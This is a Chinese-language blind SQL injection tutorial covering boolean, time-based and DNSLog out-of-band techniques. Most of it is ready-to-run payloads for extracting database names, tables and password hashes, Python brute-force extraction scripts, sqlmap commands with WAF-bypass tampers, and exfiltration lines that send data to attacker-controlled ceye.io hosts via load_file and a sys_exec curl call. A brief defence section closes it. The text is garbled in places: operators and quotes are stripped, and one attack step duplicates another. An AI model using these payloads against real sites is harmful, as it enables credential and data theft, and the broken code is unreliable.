SQL盲注技术全解析:布尔盲注、时间盲注与DNSLog带外注入
前言在之前的学习中我们掌握了 SQL 注入的基本原理包括联合查询注入和报错注入技术。这些攻击方式都有一个共同点需要页面能够显示查询结果或通过报错信息泄露数据。但在实际环境中Web 应用通常会采取多种防护措施导致系统不会如此配合。许多 Web 应用做了以下防护关闭数据库错误显示display_errors Off对查询结果不做任何输出只返回成功或失败用统一的 404 或 500 页面掩盖内部异常在这种情况下传统的联合查询和报错注入就失效了。这时候就需要使用今天的主角——盲注Blind SQL Injection。盲注是 SQL 注入攻击中最具挑战性的一类。由于没有直接的数据回显攻击者需要通过分析应用程序的行为差异来推断数据库信息整个过程如同在黑暗中摸索前行。本文将带你深入理解三种主流盲注技术布尔盲注通过真/假两种响应差异逐字节推断数据时间盲注通过响应时间的延迟来判断条件真假DNSLog 带外注入借助 DNS 解析将数据带出目标系统1 盲注的基本概念与分类1.1 什么是盲注盲注Blind Injection是SQL注入攻击的一种变体攻击者无法直接看到数据库的返回结果但通过观察应用程序的行为差异如响应时间、错误信息等推断出数据库内容。盲注通常分为基于布尔Boolean-based和基于时间Time-based两种类型。但攻击者可以利用一个关键点即使看不到数据页面的响应仍然可能存在差异。这个差异可以是内容差异条件为真时页面显示某内容为假时不显示或显示不同内容时间差异条件为真时响应快为假时响应慢或相反网络行为差异通过 DNS 请求等方式将数据带外传输1.2 盲注的前提条件存在 SQL 注入点参数被不安全地拼接进 SQL 语句无直接数据回显否则用联合查询更高效服务端能执行我们构造的条件语句并影响响应1.3 盲注的常见场景应用程序关闭了错误回显但逻辑存在漏洞。登录表单、搜索框等输入点未严格过滤用户输入。后端数据库为MySQL、PostgreSQL等支持条件判断和延时函数的系统。1.4 盲注分类速览类型判断方式适用场景布尔盲注页面内容/长度差异有真假两种响应状态时间盲注响应延迟时间页面无差异但可执行延时函数DNSLog带外DNS请求记录有外网访问权限高权限账号2 布尔盲注2.1 原理解析布尔盲注的核心原理很简单通过构造条件表达式观察页面针对真和假两种状态的不同响应从而判断条件是否成立。举个例子假设目标URL是http://target.com/news.php?id1正常访问时页面显示新闻内容。我们注入id1 and 11 → 页面正常显示条件为真id1 and 12 → 页面无内容或显示空条件为假这个真假差异就是布尔盲注的信道。只要能稳定地区分真和假两种响应就能利用布尔盲注提取任何数据。2.2 核心函数解析布尔盲注高度依赖以下几个 MySQL 函数length(str)—— 获取字符串长度and (select length(database())) 5用于先确定数据名称的长度缩小猜测范围。substr(str, pos, len)/substring(str, pos, len)—— 截取字符串and (select substr(database(), 1, 1)) s按位截取目标字符串的每一个字符然后逐一猜测。ascii(char)—— 获取字符的 ASCII 码and (select ascii(substr(database(), 1, 1))) 100与直接比较字符相比比较 ASCII 码更可靠不存在大小写歧义且可以用二分法快速缩小范围。mid(str, pos, len)—— 与 substr 类似and (select mid(database(), 1, 1)) s2.3 完整攻击流程从零到拿库第一步确认注入点和响应差异and (select mid(database(), 1, 1)) s第二步猜测当前数据库名称的长度id1 and (select length(database()))5-- → 正常id1 and (select length(database()))8-- → 异常id1 and (select length(database()))6-- → 正常id1 and (select length(database()))7-- → 正常确认长度为7第三步逐字节猜测数据库名称使用二分法Binary Search提高效率ASCII 码范围是 0-127每次可以将范围缩小一半。-- 猜测第1个字符id1 and (select ascii(substr(database(),1,1)))64-- → 正常64id1 and (select ascii(substr(database(),1,1)))96-- → 正常96id1 and (select ascii(substr(database(),1,1)))112-- → 异常112id1 and (select ascii(substr(database(),1,1)))104-- → 异常104id1 and (select ascii(substr(database(),1,1)))100-- → 正常100id1 and (select ascii(substr(database(),1,1)))102-- → 异常102id1 and (select ascii(substr(database(),1,1)))101-- → 正常-- ASCII 101 字母 e第一个字符为 e如 employees第四步枚举所有表名-- 查询 information_schema.tables 获取表名id1 and (select ascii(substr((select table_name from information_schema.tableswhere table_schemadatabase() limit 0,1),1,1)))117---- limit 0,1 取第一张表修改 limit 1,1 取第二张表第五步枚举列名和数据-- 获取列名id1 and (select ascii(substr((select column_name from information_schema.columnswhere table_nameusers limit 0,1),1,1)))117---- 获取数据id1 and (select ascii(substr((select password from users limit 0,1),1,1)))55--2.4 自动化脚本思路手工布尔盲注效率极低实际渗透中通常编写自动化脚本。下面是 Python 实现的核心逻辑import requests url http://target.com/news.php TRUE_KEYWORD 新闻标题 # 真时页面包含的关键词 def bool_inject(payload): params {id: f1 and ({payload})--} resp requests.get(url, paramsparams) return TRUE_KEYWORD in resp.text def get_string(query): # 先获取长度 length 0 for i in range(1, 50): if bool_inject(fselect length(({query})){i}): length i break # 逐字节二分猜测 result for pos in range(1, length 1): low, high 32, 127 while low high: mid (low high) // 2 if bool_inject(fselect ascii(substr(({query}),{pos},1)){mid}): low mid 1 else: high mid - 1 result chr(low) return result # 获取当前数据库名 db_name get_string(select database()) print(f数据库名: {db_name})3 时间盲注3.1 原理深析布尔盲注的核心原理很简单通过构造条件表达式观察页面针对真和假两种状态的不同响应从而判断条件是否成立。时间盲注的思路是让数据库在条件为真时执行一个耗时操作如 sleep通过测量响应时间来判断条件真假。3.2 核心函数sleep() 与 benchmark()sleep(seconds)—— 最直接的延时函数id1 and sleep(5)---- 如果注入成功响应会延迟约5秒结合条件判断id1 and if(条件, sleep(5), 0)---- 条件为真 → 延迟5秒-- 条件为假 → 立即响应benchmark(count, expr)—— 通过大量计算制造延迟id1 and if(11, benchmark(5000000, md5(a)), 0)---- 条件为真时执行500万次md5计算造成延迟benchmark的优势在于某些 WAF 会拦截sleep关键词而benchmark可以作为替代。延迟时间受服务器性能影响较大不如sleep精准。3.3 完整攻击流程第一步验证时间盲注点id1 and if(11, benchmark(5000000, md5(a)), 0)---- 条件为真时执行500万次md5计算造成延迟第二步条件触发延时-- 判断数据库名长度id1 and if((select length(database()))5, sleep(5), 0)---- 响应延迟5秒 → 长度5条件为真-- 立即响应 → 长度5条件为假第三步逐字节提取数据-- 判断数据库名长度id1 and if((select length(database()))5, sleep(5), 0)---- 响应延迟5秒 → 长度5条件为真-- 立即响应 → 长度5条件为假3.4 时间盲注的陷阱与解决方案时间盲注看似简单但实际操作中有很多坑问题一网络抖动干扰判断网络延迟本身就不稳定5秒的 sleep 在网络波动时可能难以区分。解决方案使用更大的延迟值如 10 秒并多次验证。问题二多线程/连接池影响Web 服务器的连接池可能导致延迟分散。解决方案使用 sqlmap 的--time-sec参数设置合适的阈值。问题三sleep 被 WAF 拦截部分 WAF 会拦截包含sleep关键词的请求。解决方案使用benchmark()替代编码绕过sl%65ep(5)大小写混写SleEp(5)注释拆分sl/**/eep(5)3.5 Python 自动化脚本import requests import time url http://target.com/news.php DELAY_THRESHOLD 4 # 超过4秒判断为真 def time_inject(payload, delay5): full_payload f1 and if(({payload}),sleep({delay}),0)-- start time.time() requests.get(url, params{id: full_payload}, timeout15) elapsed time.time() - start return elapsed DELAY_THRESHOLD def get_string_by_time(query): length 0 for i in range(1, 50): if time_inject(fselect length(({query})){i}): length i print(f[] 长度: {i}) break result for pos in range(1, length 1): low, high 32, 127 while low high: mid (low high) // 2 if time_inject(fselect ascii(substr(({query}),{pos},1)){mid}): low mid 1 else: high mid - 1 result chr(low) print(f[] 进度: {result}) return result db get_string_by_time(select database()) print(f[*] 数据库名: {db})3.6 sqlmap 时间盲注命令# 指定使用时间盲注技术sqlmap -u http://target.com/news.php?id1 --techniqueT --time-sec5 --dbs# 自动识别并使用最有效的技术sqlmap -u http://target.com/news.php?id1 --dbs --batch# 带tamper脚本绕过WAFsqlmap -u http://target.com/news.php?id1 --techniqueT \--tampersleep2getlock,between --dbs4 DNSLog 带外注入4.1 原理深析布尔盲注和时间盲注虽然可以提取数据但效率极低——每提取一个字节可能需要数十次请求。DNSLog 带外注入通过 DNS 解析机制实现高效数据外带将数据库信息嵌入 DNS 查询子域名攻击者只需监控其控制的 DNS 服务器即可获取数据。核心利用函数load_file()MySQL 的load_file()函数可以读取文件当传入 UNC 路径\\server\share时Windows 系统会发起 DNS 解析和 SMB 连接。select load_file(concat(\\\\, database(), .attacker.ceye.io\\abc))这条语句的执行过程database()返回当前数据库名如 securityconcat拼接成\\security.attacker.ceye.io\abc系统尝试解析security.attacker.ceye.io发起 DNS 请求攻击者在 ceye.io 平台的 DNS 日志中看到security.attacker.ceye.io的查询记录从子域名中提取出数据库名 security4.2 DNSLog 平台实战中常用以下平台平台地址特点ceye.iohttp://ceye.io经典平台支持HTTP/DNS记录dnslog.cnhttp://dnslog.cn简单易用无需注册burpcollaboratorBurp Suite内置功能最强支持多种协议interactsh开源自建可自建功能丰4.3 前提条件DNSLog 带外注入对环境有较高要求1.MySQL 账号需要高权限load_file()需要FILE权限且secure_file_priv不限制路径2.目标服务器能访问外网需要发起 DNS 请求到外部服务器许多内网靶场无法满足3.通常只在 Windows 系统上有效UNC 路径是 Windows 特性Linux 下可用sys_eval或其他方式4.4 完整 Payload 构造获取数据库名id1 and (select load_file(concat(\\\\,database(),.yourdomain.ceye.io\\abc)))--获取表名id1 and (select load_file(concat(\\\\,(select table_name from information_schema.tableswhere table_schemadatabase() limit 0,1),.yourdomain.ceye.io\\abc)))--获取字段值使用 hex 编码避免特殊字符问题id1 and (select load_file(concat(\\\\,hex((select password from users limit 0,1)),.yourdomain.ceye.io\\abc)))---- 在DNS日志中拿到 hex 值后解码即可得到明文密码完整版带 hex 编码select load_file(concat(0x5c5c5c5c,(select hex(password) from users limit 1),0x2e,yourdomain.ceye.io,0x5c5c61626300))4.5 使用 Burp Collaborator 进行带外注入Burp Suite Professional 内置的 Collaborator 服务器支持 DNS、HTTP、SMTP 等多种协议-- 生成 Collaborator payload例如: abcd1234.burpcollaborator.netid1 and (select load_file(concat(\\\\,(select database()),.abcd1234.burpcollaborator.net\\x)))--在 Burp Suite 的 Collaborator client 中点击 Poll now 即可看到 DNS 请求记录。4.6 Linux 环境的替代方案在 Linux 环境下load_file的 UNC 路径技巧无效但可以借助其他方式-- 使用 sys_exec 执行系统命令需要UDFselect sys_exec(concat(curl http://yourdomain.ceye.io/?data,database()));-- 使用 INTO OUTFILE 写文件需要FILE权限select database() into outfile /var/www/html/data.txt;5 三种盲注技术对比与选择维度布尔盲注时间盲注DNSLog带外所需回显两种不同响应无要求无要求提取效率中等较慢快请求数量每字节约7次二分法每字节约7次等待时间每个查询1次环境限制无特殊限制需稳定响应时间需外网访问高权限适用系统通用通用主要WindowsWAF绕过难度中中较难需要建立外联选择建议优先尝试布尔盲注无时间成本效率适中若无响应差异切换时间盲注若环境允许且需要高效率考虑DNSLog带外6 防御建议了解盲注的攻击原理才能针对性地防御。以下是有效的防护措施1 使用参数化查询/预编译语句最根本的防御手段// 使用PDO预编译$stmt $pdo-prepare(SELECT * FROM news WHERE id ?);$stmt-execute([$id]);2 严格的输入验证对用户输入进行类型检查整数参数强制转换为整数类型3 最小权限原则数据库账号只赋予必要权限禁止FILE权限杜绝 DNSLog 带外注入4 WAF 与 IDS 检测对sleep、benchmark、load_file、if()等高危函数组合进行监控和拦截5 错误信息屏蔽生产环境关闭所有数据库错误输出统一返回友好错误页面6 安全审计日志对异常请求进行记录发现盲注攻击的特征大量相似请求、规律性的响应时间变化温馨提示以上技术仅供娱乐消遣切勿用来“搞事情”否则警察叔叔可能会请你喝茶哦网络安全法可不是摆设做个遵纪守法的好公民世界和平靠大家